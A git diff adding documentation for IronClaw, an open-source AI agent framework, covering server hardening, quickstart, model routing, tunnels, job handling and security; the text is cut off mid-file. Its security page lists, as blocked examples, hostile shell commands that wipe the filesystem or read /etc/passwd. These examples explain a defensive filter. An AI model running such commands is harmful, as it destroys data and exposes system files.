/dev/null and b/docs/images/logo/favicon.ico differ diff --git a/docs/images/logo/logo-dark.svg b/docs/images/logo/logo-dark.svg new file mode 100644 index 0000000000..98edcd5bb2 --- /dev/null +++ b/docs/images/logo/logo-dark.svg @@ -0,0 +1,57 @@ + + + +IronClaw diff --git a/docs/images/logo/logo.svg b/docs/images/logo/logo.svg new file mode 100644 index 0000000000..417ffd69e7 --- /dev/null +++ b/docs/images/logo/logo.svg @@ -0,0 +1,57 @@ + + + +IronClaw diff --git a/docs/images/quickstart/hello-ai.png b/docs/images/quickstart/hello-ai.png new file mode 100644 index 0000000000..4f852b3a8b Binary files /dev/null and b/docs/images/quickstart/hello-ai.png differ diff --git a/docs/images/quickstart/setup-wizard.png b/docs/images/quickstart/setup-wizard.png new file mode 100644 index 0000000000..c7eb3f4b54 Binary files /dev/null and b/docs/images/quickstart/setup-wizard.png differ diff --git a/docs/images/security/data-flow.png b/docs/images/security/data-flow.png new file mode 100644 index 0000000000..9ef23620af Binary files /dev/null and b/docs/images/security/data-flow.png differ diff --git a/docs/index.mdx b/docs/index.mdx new file mode 100644 index 0000000000..732e03e38b --- /dev/null +++ b/docs/index.mdx @@ -0,0 +1,56 @@ +--- +title: "Introduction" +description: "The secure, open-source AI agent" +icon: "book" +--- + +IronClaw is a secure, open-source AI agent framework built in Rust and deployed on NEAR AI Cloud. It enables creating AI agents with access to your tools and services, while keeping your credentials safe and private. + + + Deploy your first agent in minutes. + + +--- + +## Key Capabilities + + + + Access IronClaw via web browser, Telegram, terminal UI, or HTTP webhooks + + + + Multi-layer defense: safety layer, WASM sandbox, Docker isolation, encrypted secrets + + + + Choose from 7+ providers: NEAR AI, Anthropic, OpenAI, Ollama, Tinfoil, and more + + + + Give your agent access to complex tools so it can perform real-world tasks + + + + Execute multiple tasks concurrently with state machine and self-repair + + + + Hybrid search (FTS + vector) with identity files and heartbeat system + + + +## Resources + + + Deploy your first agent in minutes. + + + + + Manage your agents in one place. + + + The secure cloud platform for AI agents. + + diff --git a/docs/infrastructure/droplet.mdx b/docs/infrastructure/droplet.mdx new file mode 100644 index 0000000000..b4f61cb39c --- /dev/null +++ b/docs/infrastructure/droplet.mdx @@ -0,0 +1,176 @@ +--- +title: DigitalOcean Droplet +description: Host IronClaw on a DigitalOcean Droplet +--- + +DigitalOcean offers a simple and cost-effective way to run applications in the cloud thanks to its Droplets - virtual machines that can be set up in minutes. + +In this guide we will setup a DigitalOcean Droplet and strengthen its security so you can safely run IronClaw and expose it to the internet. + + +Do not feel like setting up your own infrastructure? You can install IronClaw with a few clicks on [agent.near.ai](https://agent.near.ai) + + +--- + +## Create a Droplet + +Register on [DigitalOcean](https://cloud.digitalocean.com) and navigate to the [Droplets](https://cloud.digitalocean.com/droplets) section to create a new Droplet. + +![droplets landing page](/images/infrastructure/droplets/droplets-landing.png) + +I recommend choosing Ubuntu as the operating system - particularly the latest LTS version - and the `Basic` plan with a `Regular` disk. This currently costs around $4/month and provides more than enough resources to run IronClaw for most use cases. + +![droplets plan selection](/images/infrastructure/droplets/droplets-create.png) + +To connect to your Droplet, you need to set up an SSH key. You can generate a new SSH key pair on your local machine using the `ssh-keygen` command, then add the public key to your DigitalOcean account. + +```bash +ssh-keygen -t rsa -b 4096 +# Follow the prompts to save the key pair (e.g., id_rsa and id_rsa.pub) + +# Read the contents of the public key +cat ~/.ssh/id_rsa.pub +``` + + +You could also log in with a password, but using SSH keys is more secure and recommended. Make sure to keep your private key safe and do not share it with anyone. + + +--- + +## Access Your Droplet + +Once your Droplet is created, you can access it via SSH using the IP address provided by Digital Ocean. + +![droplet IP](/images/infrastructure/droplets/droplet-ip.png) + +Through your terminal, use SSH to connect as the `root` user to your Droplet: + +```bash +# Replace with your Droplet's IP address +ssh root@ +``` + +--- + +## Configure Your Droplet + +Now that we are inside the Droplet, we need to perform some initial configuration. In particular, we do not want to leave `root` as the default user, and we want to strengthen Droplet security by setting a few firewall rules. + +### Update and Upgrade + +First, let's make sure the system is up to date: + +```bash +apt update && apt upgrade -y +``` + +### Create a New User + +It is good practice to create a new user with sudo privileges instead of using `root` for daily operations. You can create a new user (for example, `ironclaw`) and add it to the sudo group: + +```bash +adduser ironclaw +usermod -aG sudo ironclaw +``` + +Since we will want to log in with this new user, we need to copy the SSH keys from `root` to the new user: + +```bash +# Create the .ssh directory for the user +mkdir -p /home/ironclaw/.ssh + +# Copy your current root authorized_keys (if you want the same key) +cp ~/.ssh/authorized_keys /home/ironclaw/.ssh/authorized_keys + +# Set the correct permissions (critical — SSH will ignore the file otherwise) +chown -R ironclaw:ironclaw /home/ironclaw/ +chmod 700 /home/ironclaw/.ssh +chmod 600 /home/ironclaw/.ssh/authorized_keys +``` + +Open a new terminal window and try to log in with the new user to confirm everything is working: + +```bash +ssh ironclaw@ +``` + + +Do not move forward until you have confirmed that you can log in with the new user. If you lose access to `root` without having another user set up, you will need to completely reset your Droplet and start over. + + +### Harden SSH Access + +To enhance the security of your Droplet, it is recommended to disable password authentication and root login for SSH. + +You can do this by editing the SSH configuration file `/etc/ssh/sshd_config` and setting the following parameters: + +```bash +PasswordAuthentication no # Force key-based auth only +Port 2222 # Change default port (optional but helps) +``` + +Then reboot the Droplet to apply the changes, and try to log in again using the new port: + +```bash +ssh -p 2222 ironclaw@ +``` + +If everything works, you can now disable root login by setting `PermitRootLogin no` in the SSH configuration and rebooting again. + +### Install Fail2Ban + +To further enhance Droplet security, install Fail2Ban. It helps protect against brute-force attacks by monitoring log files and banning IP addresses that show malicious behavior. + +```bash +apt install fail2ban -y +systemctl enable fail2ban +systemctl start fail2ban +``` + +### Setup Firewall + +It is also a good idea to set up a firewall to restrict access to only the necessary ports. You can use `ufw` (Uncomplicated Firewall) for this purpose: + +```bash +sudo apt install ufw -y +sudo ufw default deny incoming +sudo ufw default allow outgoing +sudo ufw allow 2222/tcp # Allow SSH on the new port +sudo ufw allow 80/tcp # Allow HTTP (if needed) +sudo ufw allow 443/tcp # Allow HTTPS (if needed) +sudo ufw enable +``` + +--- + +## Install IronClaw + +Now that we have set up and secured the Droplet, we can proceed with the IronClaw installation. You can follow the installation instructions in the [Quickstart Guide](/quickstart) to get IronClaw up and running. + +``` +# Install IronClaw +curl --proto '=https' --tlsv1.2 -LsSf https://github.com/nearai/ironclaw/releases/latest/download/ironclaw-installer.sh | sh +``` + +Now simply start IronClaw and follow the instructions to complete the setup: + +``` +ironclaw +``` + + +We recommend using a session manager like `tmux` or `screen` so you can easily detach and reattach to your running IronClaw instance between SSH sessions. + + +--- + +## Next Steps + +Follow our [Quickstart Guide](/quickstart) to create your first agent, connect it to Telegram, and start exploring IronClaw's capabilities. + +Want to talk with your agent using a messaging app? Check out the [**Channels**](/channels/overview.mdx) documentation to learn how to connect. + +Need your agent to perform complex tasks that require multiple tools? Check out the [**Extensions**](/extensions/overview.mdx) documentation. + diff --git a/docs/USER_MANAGEMENT_API.md b/docs/internal/USER_MANAGEMENT_API.md similarity index 100% rename from docs/USER_MANAGEMENT_API.md rename to docs/internal/USER_MANAGEMENT_API.md diff --git a/docs/development-history.md b/docs/internal/development-history.md similarity index 100% rename from docs/development-history.md rename to docs/internal/development-history.md diff --git a/docs/engine-v2-architecture.md b/docs/internal/engine-v2-architecture.md similarity index 100% rename from docs/engine-v2-architecture.md rename to docs/internal/engine-v2-architecture.md diff --git a/docs/self-improvement.md b/docs/internal/self-improvement.md similarity index 100% rename from docs/self-improvement.md rename to docs/internal/self-improvement.md diff --git a/docs/internal/smart-routing-spec.md b/docs/internal/smart-routing-spec.md new file mode 100644 index 0000000000..7690a6cef6 --- /dev/null +++ b/docs/internal/smart-routing-spec.md @@ -0,0 +1,195 @@ +# Smart Model Routing for IronClaw + +**Status:** Implemented +**Author:** Microwave +**Date:** 2026-02-19 + +## What + +Automatic model selection based on request complexity. The router analyzes each user message and selects an appropriate model tier (flash/standard/pro/frontier), then maps that tier to a configured model. + +## Why + +1. **Cost optimization** — Simple requests ("hi", "what time is it") don't need expensive models +2. **User experience** — Simple requests return faster with lightweight models +3. **NEAR AI native** — Default backend uses NEAR AI inference where costs vary by model +4. **Zero-config value** — Users benefit immediately without configuration +5. **Not just power users** — Everyone gets smart defaults, power users can override + +## How + +### Architecture + +``` +User Message + │ + ▼ +┌──────────────────┐ +│ Pattern Overrides │ ← Fast-path for obvious cases (greetings, security audits) +└────────┬─────────┘ + │ no match + ▼ +┌──────────────────┐ +│ Complexity Scorer │ ← 13-dimension analysis +└────────┬─────────┘ + │ score 0-100 + ▼ +┌──────────────────┐ +│ Tier Mapping │ ← 0-15: flash, 16-40: standard, 41-65: pro, 66+: frontier +└────────┬─────────┘ + │ tier + ▼ +┌──────────────────┐ +│ Model Selection │ ← Currently: cheap provider (Flash/Standard/Pro) vs primary (Frontier) +└────────┬─────────┘ Target: per-tier model mapping via config + │ + ▼ + LLM Provider +``` + +### Complexity Scorer (13 Dimensions) + +Each dimension produces a 0-100 score. Weighted sum determines total. + +| Dimension | Weight | Signals | +|-----------|--------|---------| +| Reasoning Words | 14% | "why", "explain", "compare", "trade-offs" | +| Token Estimate | 12% | Prompt length | +| Code Indicators | 10% | Backticks, syntax, "implement", "PR" | +| Multi-Step | 10% | "first", "then", "after", "steps" | +| Domain Specific | 10% | Technical terms (configurable) | +| Creativity | 7% | "write", "summarize", "tweet", "blog" | +| Question Complexity | 7% | Multiple questions, open-ended starters | +| Precision | 6% | Numbers, "exactly", "calculate" | +| Ambiguity | 5% | Vague references | +| Context Dependency | 5% | "previous", "you said" | +| Sentence Complexity | 5% | Commas, conjunctions, clause depth | +| Tool Likelihood | 5% | "read", "deploy", "install" | +| Safety Sensitivity | 4% | "password", "auth", "vulnerability" | + +**Multi-dimensional boost:** +30% when 3+ dimensions score above threshold. + +### Tier Boundaries + +| Score | Tier | Typical Use Case | +|-------|------|------------------| +| 0-15 | flash | Greetings, acknowledgments, quick lookups | +| 16-40 | standard | Writing, comparisons, defined tasks | +| 41-65 | pro | Multi-step analysis, code review | +| 66+ | frontier | Critical decisions, security audits | + +### Pattern Overrides + +Fast-path rules that bypass scoring for obvious cases: + +```yaml +# Force flash tier +- "^(hi|hello|hey|thanks|ok|sure|yes|no)$" +- "^what.*(time|date|day)" + +# Force frontier tier +- "security.*(audit|review|scan)" +- "vulnerabilit(y|ies).*(review|scan|check|audit)" + +# Force pro tier +- "deploy.*(mainnet|production)" +``` + +### Configuration + +> **Note:** The current implementation supports smart routing via +> `NEARAI_CHEAP_MODEL` and `SMART_ROUTING_CASCADE` env vars, plus +> `domain_keywords` on `SmartRoutingConfig`. The full `llm.routing` YAML +> schema below is the target design — not all knobs are wired yet. + +**Default (zero-config):** +```yaml +llm: + routing: + enabled: true # default +``` + +**Power user overrides (target schema):** +```yaml +llm: + routing: + enabled: true + tiers: + flash: "claude-3-5-haiku-latest" + standard: "claude-sonnet-4-5-latest" + pro: "claude-sonnet-4-5-latest" + frontier: "claude-opus-4-5-latest" + thinking: + pro: "low" + frontier: "medium" + overrides: + - pattern: "my-custom-pattern" + tier: "pro" + domain_keywords: # Custom keywords for your domain + - "mycompany" + - "myproduct" + - "internal-tool" +``` + +If `domain_keywords` is not set, uses `DEFAULT_DOMAIN_KEYWORDS` which covers common web3/infra terms. + +**Disable routing (pin model):** +```yaml +llm: + routing: + enabled: false + model: "claude-opus-4-5" +``` + +**Bring your own keys:** +```yaml +llm: + backend: anthropic + api_key: "sk-..." + routing: + enabled: true # still works with external providers +``` + +### Integration Points + +1. **RoutingProvider** — New wrapper implementing `LlmProvider` trait (like `FailoverProvider`) +2. **Scorer** — Pure function, no I/O, fast (~1ms) +3. **Config schema** — Extend `LlmConfig` with `routing` section +4. **Telemetry** — Log routing decisions for observability + +### Model Agnosticism + +**Critical:** No hardcoded model names in the router logic itself. + +- Tier→model mappings come from config +- Default mappings use `-latest` patterns where supported +- NEAR AI backend handles actual model resolution +- Router only knows about tiers + +### Layers of Control + +| Layer | User Type | Config | +|-------|-----------|--------| +| 1. Zero-config | Everyone | `routing.enabled: true` (default) | +| 2. Tier tuning | Power users | Custom `routing.tiers` mapping | +| 3. Pattern overrides | Power users | Custom `routing.overrides` | +| 4. Model pinning | Power users | `routing.enabled: false` + `model: X` | +| 5. Own API keys | Power users | `backend: anthropic` + `api_key` | + +## Implementation Plan + +1. [x] Port scorer to Rust (`src/llm/smart_routing.rs`) +2. [x] Implement router wrapper (`src/llm/smart_routing.rs`) +3. [x] Extend config schema (`src/config.rs`) +4. [x] Wire into provider creation (`src/llm/mod.rs`) +5. [x] Add telemetry/logging +6. [x] Tests with real conversation samples +7. [x] Codex + Gemini security review +8. [x] Documentation updated (this spec) + +## Expected Outcomes + +- **50-70% cost reduction** for typical usage patterns +- **Faster responses** for simple requests +- **Zero config required** for default benefits +- **Full control** for power users who want it diff --git a/docs/onboard.mdx b/docs/onboard.mdx new file mode 100644 index 0000000000..5214e90bdf --- /dev/null +++ b/docs/onboard.mdx @@ -0,0 +1,105 @@ +--- +title: "Onboard" +description: "Configure your agent's main settings" +icon: cog +--- + +The `onboard` command allows you to configure multiple settings of your agent at once, including your inference provider, LLM, tunnels, and channels. It provides a guided experience to help you set up your agent in minutes. + + +If you haven't set up your agent yet, follow our [Quickstart guide](/quickstart) + + + +If you are new to IronClaw, we recommend you to configure [channels](/channels/telegram), tools, and other settings one at a time instead of +all at once through the `onboard` command. + + +--- + +## Onboarding Wizard + +If you are new to IronClaw, we recommend you to configure channels, tools, and other settings one at a time instead of all at once through the onboard command. + + + + + +To start the onboarding wizard, run the following command in your terminal: + +```bash +ironclaw onboard +``` + + + + + +The wizard will first ask you to select a path for the agent's database, by default `/home/agent/.ironclaw/ironclaw.db`. This is where the agent will store your configuration. + + + + + +Choose were to store your master secrets key, which is used to encrypt all your credentials. + +The recommended option is to use the system's keyring, but if you are running in an environment without a keyring (like a server or a container), prefer to store the master key in an environment variable + + + + + +Built-in providers include Anthropic, OpenAI, Google Gemini, MiniMax, Mistral, and Ollama (local). + +We recommend using [NEAR AI](https://cloud.near.ai/) as your inference provider for maximum privacy and security, and the `Qwen3-30B` model to start for its cost-effectiveness. + + + + + +Embeddings enable semantic search in your workspace memory, we recommend enabling it. + + + + + +Tunnels are used to securely expose your agent's API to the internet, which is required for channels to work. We recommend using [ngrok](https://dashboard.ngrok.com/) for its ease of use and reliability. + +After configuring your tunnel, you can select which channels you want to enable for your agent, so it can listen and respond to messages from, for example, Telegram, Slack, or Discord. + +You can always add more channels later. + + + + + +You can configure which tools and extensions you want to enable for your agent. They are used by the agent to perform actions, like searching the web, reading and sending emails, using github, and more. + +You can always add more tools and extensions later. + + + + + +IronClaw can execute code, run builds, and use tools inside Docker +containers. This keeps your system safe -- commands from the LLM run +in an isolated sandbox with no access to your credentials, limited +filesystem access, and network traffic restricted to an allowlist. + + + +If you are running IronClaw in an environment without Docker (like a server or a container), you can disable sandboxing + + + + + + +Heartbeat runs periodic background tasks (e.g., checking your calendar, +monitoring for notifications, running scheduled workflows). + +We recommend enabling it to unlock the full potential of your agent, but you can always disable it later if you prefer. + + + + diff --git a/docs/quickstart.mdx b/docs/quickstart.mdx new file mode 100644 index 0000000000..b353403cac --- /dev/null +++ b/docs/quickstart.mdx @@ -0,0 +1,142 @@ +--- +title: Quickstart +description: Create your first Agent in minutes +icon: rocket +--- + +This guide will get you from zero to a running IronClaw instance in under 10 minutes + +--- + +## Setting Up Your Agent + + + + + + + + Go to https://agent.near.ai/ and login with your preferred method, then create an IronClaw agent in a private instance. + + Once your private instance is ready, you can connect to your agent's private instance through `SSH` using the address provided in the [Agent Dashboard](https://agent.near.ai/): + + ```bash + ssh -p liquid-horse@agent2.near.ai + ``` + + + + To use IronClaw, you will need to provide an SSH key. If you don't have one, you can generate it using the following command in your terminal: + + ```bash + ssh-keygen -t rsa -b 4096 -C "you@example.com" + cat ~/.ssh/id_rsa.pub + ``` + + + + + Remember to add your SSH key to your device's SSH agent before connecting: + + ```bash + ssh-add ~/.ssh/id_rsa + ``` + + + + + + Best for personal use on your own machine. Uses libSQL (embedded SQLite) — no separate database server required. + + ```bash + # Install IronClaw + curl --proto '=https' --tlsv1.2 -LsSf https://github.com/nearai/ironclaw/releases/latest/download/ironclaw-installer.sh | sh + ``` + + + + + + + +Start your agent for the first time: + +```bash +ironclaw +``` + + + +If you get the error `Error: Another IronClaw instance is already running (PID 38). If this is incorrect, remove the stale PID file: /home/agent/.ironclaw/ironclaw.pid`, simply run the following command to remove the stale PID file and try starting the agent again: + +``` +# Remove the stale PID file +rm /home/agent/.ironclaw/ironclaw.pid + +# Then start the agent again +ironclaw +``` + + + +Since this is the first time you are starting your agent, it will ask you to configure your inference provider, and the LLM you want to use. + +![setup](/images/quickstart/setup-wizard.png) + + +We recommend using [NEAR AI](https://cloud.near.ai/) as your inference provider for maximum privacy and security, and the `Qwen3-30B` model for its cost-effectiveness + + + + +If you encounter the error `Error: Channel webhook_server failed to start: Failed to bind to 0.0.0.0:8080: Address already in use (os error 98)`, simply try setting a different HTTP port: + +``` +# Change the default HTTP port to 8081 +export HTTP_PORT=8081 + +# Then start the agent again +ironclaw +``` + + + + + + + +Once your agent is up and running, you can start interacting with it through the terminal, simply type your message and the agent will respond + +![hello-ai](/images/quickstart/hello-ai.png) + + + + + + +Finally, make sure to regularly update IronClaw to get the latest features and improvements. You can update IronClaw by running the following command in your terminal: + +```bash +ironclaw-update +``` + + + + + + +--- + +## Next Steps + +Now that you have your agent up and running, it is time to configure a new [channel](./channels/telegram) to interact with your agent from your preferred messaging platform, and add some [tools](/extensions/web-search) to give your agent more capabilities. + + + + Connect your agent to your favorite messaging platform. + + + + Give your agent access to external APIs and services. + + \ No newline at end of file diff --git a/docs/security.mdx b/docs/security.mdx new file mode 100644 index 0000000000..b241ae7553 --- /dev/null +++ b/docs/security.mdx @@ -0,0 +1,115 @@ +--- +title: Security +description: IronClaw's defense-in-depth security architecture +--- + +IronClaw is built from the ground up with security as a core principle. We use a defense-in-depth architecture with multiple independent layers of protection to keep your data safe while enabling powerful agent capabilities. + + + + Secrets rest encrypted, and are injected at the host boundary only for approved endpoints. + + + + Tool run in containers, are resource limited and can only contact allowlisted endpoints. + + + + Outbound traffic is scanned in real time. Secret-like data is blocked before exfiltration. + + + + Tools can reach only pre-approved endpoints. No silent phone-home to unknown hosts. + + + +--- + +## Data Flow + +The security architecture illustrates IronClaw's **defense in depth** approach with four independent protection layers that data flows through before reaching the LLM and external services. + + +![Data Flow Diagram](/images/security/data-flow.png) + +At all point, secrets are separated from regular data and handled with extra care. They are encrypted at rest, never enter the container, and are injected into outgoing requests at the network proxy layer. + +--- + +## Prompt Injection Defense + +Multiple layers protect against prompt injection: + +1. **Input validation** — Length, encoding, forbidden patterns +2. **Sanitizer** — Escapes dangerous content +3. **Policy engine** — Severity-based actions +4. **Leak detector** — Scans for 15+ secret patterns +5. **Tool output wrapping** — XML format with escape hints + +--- + +## Leak Detector + +IronClaw scans all input going to the LLM - be that user input or the result of running a tool - for potential leaks of sensitive information. + +The leak detector uses a combination of regex patterns and heuristic checks to identify potential secrets: + +| Pattern | Example | +|--------------------|-----------------------------------| +| API keys | `sk-...`, `ak-...` | +| Tokens | `ghp_...`, `sess-...` | +| Private keys | `-----BEGIN RSA PRIVATE KEY-----` | +| Connection strings | `postgres://user:pass@...` | +| AWS credentials | `AKIA...` | +| GitHub tokens | `ghp_...` | + +--- + +## Command Injection Detection + +Shell commands are checked for injection attempts: + +```bash +# BLOCKED: Command chaining +cat file; rm -rf / + +# BLOCKED: Subshell +echo $(cat /etc/passwd) + +# BLOCKED: Path traversal +cat ../../../etc/passwd +``` + +--- + +## Credential Management + +Tools cannot access secrets directly, instead, they define what keys, oauth tokens, or API credential they need. Then they proceed to create the necessary requests, and the network proxy injects these credentials into outgoing requests without exposing them to the container. + +```json + "credentials": { + "google_oauth_token": { + "secret_name": "google_oauth_token", + "location": { "type": "bearer" }, + "host_patterns": ["gmail.googleapis.com"] + } + } +``` + +--- + +### Limited Network Access + +Tools must be explicit about which external services they can contact. This is configured in the `capabilities` section of your agent config: + +```json +{ + "network": { + "allowed_hosts": ["api.example.com"] + }, + "workspace": { + "allowed_prefixes": ["telegram/"] + } +} +``` + diff --git a/docs/style.css b/docs/style.css new file mode 100644 index 0000000000..2b4d5202cd --- /dev/null +++ b/docs/style.css @@ -0,0 +1,4 @@ +code { + max-height: 300px; + overflow: scroll; +} \ No newline at end of file diff --git a/docs/tunnel.mdx b/docs/tunnel.mdx new file mode 100644 index 0000000000..9fd50788ca --- /dev/null +++ b/docs/tunnel.mdx @@ -0,0 +1,100 @@ +--- +title: "Setup a Tunnel" +description: "Expose your local agent to the internet" +--- + +A tunnel exposes your local IronClaw agent to the internet. You need it for webhook-based channels and for instant message delivery where polling is not desired. + + +If you haven't set up your agent yet, follow our [Quickstart guide](./quickstart) + + +--- + +## Configure + +Configure a tunnel through the onboarding command: + +```bash +ironclaw onboard --channels-only +``` + +### ngrok + +`ngrok` is a managed tunnel service with a minimal setup, ideal if you are just starting with `ironclaw`. To use it, you will need to get an auth token from the [ngrok dashboard](https://dashboard.ngrok.com/get-started/your-authtoken) + +### Cloudflare + +`Cloudflare Tunnel` connects your local service to Cloudflare via outbound-only connections from `cloudflared`. + +Use it when you already run Cloudflare Zero Trust or want a production-style ingress layer. Before setup: + +Install `cloudflared`: + + + + +```bash +brew install cloudflared +``` + + + + +[Cloudflare package install guide](https://pkg.cloudflare.com/). + + + + +[Cloudflare Tunnel downloads page](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/downloads/). + + + + +Then, create a tunnel in the [Cloudflare dashboard](https://dash.cloudflare.com) under `Zero Trust > Networks > Connectors` follow the instructions to get the tunnel token. + + +### Tailscale + +`Tailscale` is a WireGuard-based private mesh network for your devices (your tailnet). Use it when your team already relies on Tailscale networking. + +### Custom + +Use this option when you want full control over the tunnel command and process. + +Provide a shell command with placeholders: + +- `{port}` for IronClaw's local port +- `{host}` for IronClaw's local host + +Example: + +```bash +bore local {port} --to bore.pub +``` + +### Static URL + +Use this option when the tunnel is managed outside IronClaw and you already have a stable public URL. + +IronClaw will use that URL directly and will not start or manage any tunnel process. + +--- + +## Which option to pick + +| Option | Best for | +|---|---| +| `ngrok` | quickest setup, local development | +| `Cloudflare` | production-style setup with Cloudflare stack | +| `Tailscale` | teams already using Tailscale networking | +| `Custom` | custom tunnel tooling and command control | +| `Static URL` | externally managed ingress with fixed public URL | + +--- + +## Security notes + +- Treat tunnel tokens and URLs as sensitive credentials. +- Prefer short-lived or rotated tokens where possible. +- If exposing public endpoints, apply channel-level auth and least-privilege access. diff --git a/docs/zh/capabilities/jobs.mdx b/docs/zh/capabilities/jobs.mdx new file mode 100644 index 0000000000..2f90dfdd72 --- /dev/null +++ b/docs/zh/capabilities/jobs.mdx @@ -0,0 +1,128 @@ +--- +title: 任务与并行执行 +sidebarTitle: 任务 +description: 并行任务调度与任务状态机 +--- + +在 IronClaw 中,每个工作单元都是一个任务(job)。任务可并行运行、上下文隔离,并按固定状态机推进,直到完成、失败或被恢复。 + +--- + +## 任务状态机 + +``` +Pending + ↓ +InProgress ──────────────┬──► Completed + ↑ │ + │ (self-repair) └──► Failed + │ + Stuck ────────────────────► Failed (if unrecoverable) +``` + +### 状态说明 + +| 状态 | 说明 | 下一状态 | +|------|------|----------| +| Pending | 任务已创建,等待可用 worker 槽位 | InProgress | +| InProgress | 正在执行(LLM 推理、工具调用) | Completed、Failed、Stuck | +| Completed | 执行成功结束 | 终态 | +| Failed | 不可恢复错误或显式取消 | 终态 | +| Stuck | 在超时窗口内未检测到进展 | InProgress(恢复)、Failed | + +当自修复系统检测到任务长期无进展时,任务会进入 Stuck,并尝试以新的 worker 恢复;多次恢复失败后转为 Failed。 + +--- + +## 并行执行 + +IronClaw 可同时运行多个任务。每个任务拥有独立上下文(记忆、工具调用历史、会话状态)。 + +| 配置项 | 默认值 | 说明 | +|--------|--------|------| +| `MAX_PARALLEL_JOBS` | `5` | 单实例最大并发任务数 | + +当并发槽位满时,新任务进入 Pending 队列,按创建时间顺序调度。 + + +提高 `MAX_PARALLEL_JOBS` 会提升 LLM API 并发压力,请结合配额与机器资源调整。 + + +--- + +## 任务工具 + +| 工具 | 说明 | +|------|------| +| `create_job` | 创建并行任务,可附带上下文 | +| `list_jobs` | 列出当前会话任务及状态 | +| `job_status` | 查看指定任务详情 | +| `cancel_job` | 取消 Pending 或 InProgress 任务 | + +### create_job + +``` +Create a new job to run in parallel with the current conversation. + +Parameters: + description (string, required) What the job should do + context (string, optional) Additional context or data for the job +``` + +### list_jobs + +``` +Returns all jobs for the current session, including: + - Job ID + - Description + - Current state (Pending / InProgress / Completed / Failed / Stuck) + - Created and updated timestamps +``` + +### job_status + +``` +Get detailed information about a single job. + +Parameters: + job_id (string, required) The ID of the job to query +``` + +### cancel_job + +``` +Cancel an active job. Pending jobs are removed from the queue. +InProgress jobs receive a cancellation signal and transition to Failed. + +Parameters: + job_id (string, required) The ID of the job to cancel +``` + +--- + +## Undo / Redo + +以下命令由提交解析器直接拦截,可在任意频道输入: + +| 命令 | 作用 | +|------|------| +| `undo` | 回滚到上一轮之前的状态 | +| `redo` | 重新应用最近一次撤销 | +| `compact` | 压缩旧对话,释放上下文窗口 | +| `clear` | 重置当前线程 | + + +`clear` 会清空当前线程的内存会话上下文。数据库中的任务历史仍保留,但当前对话上下文会丢失。 + + +--- + +## 配置 + +```bash +# 最大并行任务数 +MAX_PARALLEL_JOBS=5 + +# 沙箱超时(影响任务进入 stuck 的判定) +SANDBOX_TIMEOUT_SECS=1800 +``` diff --git a/docs/zh/capabilities/jobs/jobs.mdx b/docs/zh/capabilities/jobs/jobs.mdx new file mode 100644 index 0000000000..3bc0fe7c4f --- /dev/null +++ b/docs/zh/capabilities/jobs/jobs.mdx @@ -0,0 +1,76 @@ +--- +title: 任务与并行执行 +sidebarTitle: 任务 +description: 并行任务调度与任务状态机 +--- + +在 IronClaw 中,每一个工作单元都是一个**任务**。任务会并行运行、彼此隔离上下文,并沿着定义好的状态机推进,直到完成、失败或被恢复。 + +--- + +## 配置 + +```bash +# 最大并行任务数 +MAX_PARALLEL_JOBS=5 + +# 沙箱超时(影响任务何时会被视为卡住) +SANDBOX_TIMEOUT_SECS=1800 +``` + +--- + +## 任务状态机 + +``` +Pending + ↓ +InProgress ──────────────┬──► Completed + ↑ │ + │ (self-repair) └──► Failed + │ + Stuck ────────────────────► Failed (if unrecoverable) +``` + +### 状态 + +| 状态 | 描述 | 下一状态 | +|------|------|----------| +| **Pending** | 任务已创建,正在等待可用 worker 槽位 | InProgress | +| **InProgress** | Worker 正在执行任务,例如调用 LLM 或运行工具 | Completed、Failed、Stuck | +| **Completed** | 任务已成功完成 | 终态 | +| **Failed** | 发生不可恢复错误,或任务被显式取消 | 终态 | +| **Stuck** | 在超时窗口内未检测到任何进展 | InProgress(恢复)、Failed | + +### 状态流转 + +当自修复系统发现一个 **InProgress** 任务在超过配置超时时间后仍没有任何活动时,任务会进入 **Stuck**。系统随后会尝试使用新的 worker 重新进入 **InProgress** 来恢复任务。如果多次恢复都失败,任务就会进入 **Failed**。 + +--- + +## 并行执行 + +IronClaw 可以同时运行多个任务。每个任务都拥有自己的隔离上下文,包括记忆、工具调用历史和会话状态。 + +| 配置变量 | 默认值 | 描述 | +|----------|--------|------| +| `MAX_PARALLEL_JOBS` | `5` | 每个实例允许的最大并发任务数 | + +当所有任务槽位都被占满时,新任务会以 **Pending** 状态排队,直到有空闲槽位为止。调度器会按创建时间顺序分发排队任务。 + + +提高 `MAX_PARALLEL_JOBS` 会增加对 LLM API 的并发压力。请根据您的 API 限额和机器资源来设置该值。 + + +--- + +## 任务工具 + +有四个内置工具可供智能体在运行时管理任务: + +| 工具 | 描述 | +|------|------| +| `create_job` | 创建一个带有描述和可选上下文的新任务 | +| `list_jobs` | 列出所有活动任务及其当前状态和元数据 | +| `job_status` | 获取指定任务 ID 的详细状态 | +| `cancel_job` | 取消一个 InProgress 或 Pending 状态的任务 | \ No newline at end of file diff --git a/docs/zh/capabilities/jobs/self-repair.mdx b/docs/zh/capabilities/jobs/self-repair.mdx new file mode 100644 index 0000000000..e07bb6c09c --- /dev/null +++ b/docs/zh/capabilities/jobs/self-repair.mdx @@ -0,0 +1,148 @@ +--- +title: 自修复与卡住任务 +sidebarTitle: 自修复 +description: 自动检测并恢复卡住的任务 +--- + +IronClaw 会监控所有正在运行的任务,并自动恢复那些停止推进的任务,无需人工介入。 + +--- + +## 什么是卡住的任务? + +如果一个任务在配置的超时时间内一直处于 **InProgress** 状态,却没有产生任何输出、工具调用或状态更新,它就会被视为**卡住**。 + +常见原因包括: +- LLM 提供商超时或触发限流,且没有剩余重试预算 +- 工具调用卡在无响应的外部服务上 +- 容器资源耗尽(OOM、CPU 限速) +- 智能体与沙箱 worker 之间的网络分区 + +--- + +## 配置 + +```bash +# 启用自修复(默认:true) +SELF_REPAIR_ENABLED=true + +# 任务被视为卡住前等待多久(秒) +SELF_REPAIR_TIMEOUT_SECS=300 + +# 在标记为 Failed 之前最多恢复多少次 +SELF_REPAIR_MAX_RETRIES=3 + +# 监控器扫描卡住任务的频率(秒) +SELF_REPAIR_CHECK_INTERVAL_SECS=60 +``` + + +`SELF_REPAIR_TIMEOUT_SECS` 应该设置得低于 `SANDBOX_TIMEOUT_SECS`。后者是沙箱强制终止的硬超时,自修复则是在硬终止前触发的软恢复机制。 + + +--- + +## 检测 + +自修复系统作为调度器旁路运行的后台任务存在。它会周期性扫描所有处于 InProgress 的任务,并将最后活动时间与卡住阈值进行比较。 + +``` +[Self-Repair Monitor] + ↓ +For each InProgress job: + last_activity > SELF_REPAIR_TIMEOUT? + 